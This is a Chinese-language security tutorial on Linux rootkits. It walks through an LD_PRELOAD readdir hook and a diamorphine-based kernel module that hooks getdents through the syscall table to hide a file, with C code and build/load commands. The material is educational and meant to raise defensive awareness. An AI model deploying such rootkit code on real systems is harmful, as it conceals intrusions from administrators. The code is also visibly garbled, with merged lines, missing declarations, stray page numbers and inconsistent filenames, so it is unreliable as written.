可实操!Linux动态链接与内核模块的两种Rootkit技术详解
本文内容仅供学习交流与借鉴,旨在提升安全意识、加强安全防护。请勿用于非法用途,擅自操作后果自负。如有内容存在争议或侵权请联系我们删除。感谢您的理解与支持,让我们共同维护网络安全环境。Rootkit一词往往在应急响应中代表着这几个关键词----棘手,困境,持久战等。那么本文小编便带大家一起走入关于它的世界!让我们来深入剖析它的原理和相关技术。话不多说,开送!Rootkit 是一种恶意软件,攻击者利用它们来完全控制被入侵的资产并隐藏其恶意活动与相关痕迹。它们通常是更大攻击活动的一部分,例如窃取敏感信息或间谍活动,当然还有些许的挖矿组织(再次强烈控诉******挖矿组织,不干人事,CS啊)当然小编也是被其折磨惨过。由于其隐藏在系统中,Rootkit 可能难以检测和清理。为了实现不同的功能,Rootkit 会拦截并改变正常的执行流程。这种拦截可以发生在操作系统的不同层,包括用户态代码和内核态系统调用。在本文中,我们也将重点介绍 Linux,因为它是云环境中最主要的操作系统。我们将涵盖三种不同的 Linux Rootkit技术:动态链接器劫持(LD_PRELOAD)、Linux 内核模块(LKM)Rootkit以及EBPF Rootkit。首先,我们将探索用户态Rootkit 技术 LD_PRELOAD。用户态Rootkit(提供详细代码与实操示例)即动态链接劫持在像 Windows 和 Linux 这样的操作系统中,程序可以静态链接或动态链接。静态链接的二进制文件会与执行所需的所有依赖(库)一起编译。动态链接的二进制文件使用操作系统上的共享库。这些库将在运行时被解析、加载和链接。在 Linux 中负责此操作的组件是动态链接器,也称为ld.so或ld-linux.so.*。1.ldd命令允许我们检查 ELF 的依赖关系和共享库。打开你的终端并运行ldd ls。在输出中,我们可以看到 ls 二进制文件使用了 libselinux、libc 和 libpcre 库。列出的第一个依赖项是虚拟动态的共享对象,这是一个紧凑的共享库,由内核自动映射到所有用户空间应用程序的地址空间中。列出的最后一个依赖项是动态链接器的位置。2.strace ls命令用于追踪程序执行期间的系统调用和信号。当我们输入这个命令后,在输出中,系统会在加载libselinux之前检查 \etc\ld.so.preload 是否存在。LD_PRELOAD
Linux 动态链接器提供了一个重要功能,名称为LD_PRELOAD。LD_PRELOAD保存了用户指定的一系列 ELF 共享对象。它使用户能够在任何其他共享库之前以及程序本身执行之前,将这些共享对象加载到进程的地址空间中。此功能有多种用途,包括调试、测试和运行时插个队,并且可以通过写入\etc\ld.so.preload文件或使用LD_PRELOAD环境变量来使用。虽然它有许多合法用途,但LD_PRELOAD也可能被攻击者利用,因为它允许覆盖动态链接程序使用的现有函数。这种能力使他们能够规避检测、截取信息,并改变系统行为。在检查 ls 源代码时,我们可以看到libc的readdir函数的使用。ls使用循环中的readdir函数逐个读取目录条目。readdir函数返回一个指向dirent结构的指针,该结构包含有关目录条目的信息。一旦它返回 NULL,就表示目录结束。创建一个库来修改 readdir 函数以隐藏一个名为"WENDING"的文件,编译它,并将其添加到 LD_PRELOAD。- 1.创建目录 \tmp\test 并将下面的代码复制到该目录下的 test.c 文件中:
// Function pointer typedef for the original readdir ls functiontypedef struct dirent* (*ls_t)(DIR*);// Interposed ls functionstruct dirent* readdir(DIR* dirp) {// Get the original readdir addressls_t original_readdir = (ls_t)dlsym(RTLD_NEXT, "readdir");// Call the original ls function to get the next directory entryentry = original_readdir(dirp);// Check if the entry is the file we want to hideif (entry != NULL && strcmp(entry->d_name, "WENDING") == 0) {// Skip the file by calling the original ls function againentry = original_readdir(dirp);} while (entry != NULL && strcmp(entry->d_name, "WENDING") == 0);在上面的预加载库代码中,我们定义了一个readdir函数,它作为一个替代函数,在执行ls命令时会被调用,而不是原始的readdir。在我们的替代readdir函数中,我们使用dlsym获取原始readdir函数的地址,然后调用它以获取下一个目录项。我们将每个目录项的名称与“WENDING”进行比较,如果匹配就跳过它,从而有效地将该文件从 ls 输出中隐藏。dlsym允许我们在运行时获取共享对象/库中函数的地址。使用 dlsym 中的RTLD_NEXT句柄,我们可以找到并调用原始的readdir函数。详细如下:\etc\ld.so.preload 是一个系统范围的配置文件,适用于所有进程并影响整个系统。访问此文件需要权限。另一方面,LD_PRELOAD是一个环境变量,允许单个用户为特定可执行文件或命令按进程级别指定要预加载的库。因此,使用它不需要 root 权限。由 LD_PRELOAD 定义的库会在 \etc\ld.so.preload 中的库之前加载。在 Linux(以及其他类 Unix 操作系统)中,系统内存被分为两个不同的区域:用户空间和内核空间。这些空间代表不同的内存区域并具有不同的用途,为用户级应用程序与操作系统核心功能(内核)之间提供了根本性的隔离。两者之间的分离增强了系统的稳定性、安全性和整体性能;Linux内核是操作系统的核心,它管理系统资源并为操作系统的其他部分和应用程序提供基本服务。可加载内核模块是可以动态加载到 Linux 内核中的代码片段,用于在无需重新编译内核甚至重启的情况下扩展内核的功能。例如,当你需要处理内核不支持的新文件系统类型时,你可能需要加载专门为该文件系统类型提供支持的特定内核模块。可加载内核模块被设计为可以在运行时加载,允许内核适应不同的硬件配置,并在不重新编译或修改主内核代码的情况下支持各种设备和功能。Linux 提供了各种命令来管理内核模块,这些命令包括:- \lib\modules\:其包含系统上安装的不同内核版本特定的内核模块和相关文件。\lib\modules\内的每个子目录对应一个特定的内核版本,并包含以下组件。它允许操作系统将不同的内核版本及其相关模块分开存放,从而在需要时更容易在内核版本之间切换。
- \proc\modules:这个虚拟文件提供当前已加载内核模块的列表。文件中的每一行代表一个已加载的模块,并包含关于该模块的信息,包括其名称、大小和使用次数。
- \sys\module\:这个虚拟目录提供关于当前加载的内核模块的信息。每个已加载的模块在\sys\modules\下都有自己的目录,在每个模块的目录中,有不同的文件包含关于该模块的信息。这个目录允许用户空间的进程、工具和管理员在运行时访问已加载内核模块及其属性的信息。在这里浏览以了解更多关于该目录结构的内容。
在我们了解攻击者如何滥用LKM之前,我们先理解下系统调用和内核函数。当用户空间程序需要执行需要与内核交互的任务时(例如,读取文件、创建网络套接字、管理进程),它必须请求内核来执行这些操作。系统调用作为用户空间和内核空间之间的接口,允许内核代表用户程序执行所请求的操作。系统调用是一种从用户空间调用内核函数的方式,但绝大多数内核代码并未作为系统调用显露给使用者,而是供内核内部使用,以执行与管理系统资源和维护操作系统整体运行相关的各种任务。它们不是用户程序可以通过系统调用访问的标准化接口的一部分。getdents系统被例如ls和ps这样的程序使用,这些程序在其流程中读取目录的内容。这个系统调用通常被LKM Rootkit挂钩。还有值得注意的是,攻击者通常会挂钩filldir(或 fillonedir)内核函数,因此挂钩filldir是为了相同目的的更底层挂钩。让我们创建一个内核模块,通过系统调用表修改方法挂钩 getdents64 系统调用,以隐藏名为“WENDING”的文件,编译它并加载它。插入和移除内核模块可能会破坏内核。请确保在可丢失所有数据的一次性、非生产、非关键环境中运行此实操示例。本实操示例适用于内核版本在 4.16.0 到 5.7.0 之间,且为 X86/X86_64 架构。实操前等同于已读上述提示,因个人操作致使的系统崩溃,业务中断,财务等损失均与本文无关!!!!!1.在\tmp下创建一个工作目录mkdir \tmp\WENDING && cd \tmp\WENDING;2.安装相关软件包,包括与你的内核匹配的内核头文件:* 对于apt机器:运行apt install -y build-essential libncurses-dev linux-headers-$(uname -r)* 对于基于yum机器:运行yum install -y kernel-devel-$(uname -r) && yum -y groupinstall 'Development Tools'3. 创建一个 Makefile 并复制以下内容:KDIR := \lib\modules\$(shell uname -r)\build$(MAKE) -C $(KDIR) M=$(PWD) modules$(MAKE) -C $(KDIR) M=$(PWD) clean4.创建一个名为WENDING.c的文件,并复制下面的模块代码:#include <linux/module.h>#include <linux/syscalls.h>#include <linux/dirent.h>#include <linux/version.h>#include <linux/proc_ns.h>#include <linux/fdtable.h>#define __NR_getdents 141static unsigned long *__sys_call_table;typedef asmlinkage long (*t_syscall)(const struct pt_regs *);static t_syscall orig_getdents;static t_syscall orig_getdents64;unsigned long * get_syscall_table_bf(void)unsigned long *syscall_table;syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;int ret = orig_getdents64(pt_regs), err;struct linux_dirent64 *dir, *kdirent, *prev = NULL;kdirent = kzalloc(ret, GFP_KERNEL);err = copy_from_user(kdirent, dirent, ret);dir = (void *)kdirent + off;if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0) {ret -= dir->d_reclen;9/13memmove(dir, (void *)dir + dir->d_reclen, ret);prev->d_reclen += dir->d_reclen;err = copy_to_user(dirent, kdirent, ret);static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) {struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;int ret = orig_getdents(pt_regs), err;struct linux_dirent *dir, *kdirent, *prev = NULL;kdirent = kzalloc(ret, GFP_KERNEL);err = copy_from_user(kdirent, dirent, ret);dir = (void *)kdirent + off;if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0) {memmove(dir, (void *)dir + dir->d_reclen, ret);prev->d_reclen += dir->d_reclen;err = copy_to_user(dirent, kdirent, ret);static inline void write_cr0_forced(unsigned long val)10/13unsigned long __force_order;: "+r"(val), "+m"(__force_order));static inline void protect_memory(void)static inline void unprotect_memory(void)write_cr0_forced(cr0 & ~0x00010000);static int __init lkmdemo_init(void)__sys_call_table = get_syscall_table_bf();orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];__sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;__sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;static void __exit lkmdemo_cleanup(void)__sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;__sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;module_init(lkmdemo_init);module_exit(lkmdemo_cleanup);MODULE_LICENSE("Dual BSD/GPL");MODULE_DESCRIPTION("LKM rootkit based on diamorphine");6.创建一个名为WENDING的文件 touch WENDIG。7.在工作目录上运行 ls,并在输出中看到WENDING文件。8.加载内核模块 insmod WENDING_NB.ko。9.再次运行 ls,我们将看到现在WENDING已从输出中隐藏。10.运行lsmod并在输出中查看WENDING_NB。11.卸载模块 rmmod WENDING_NB。最后,真切的希望各位独自前行的人,坚持不弃,前方的路就在脚下!正如我司的开创教义---积跬步,至问鼎!!!------THE END-----
参考文献:https://www.wiz.io/blog/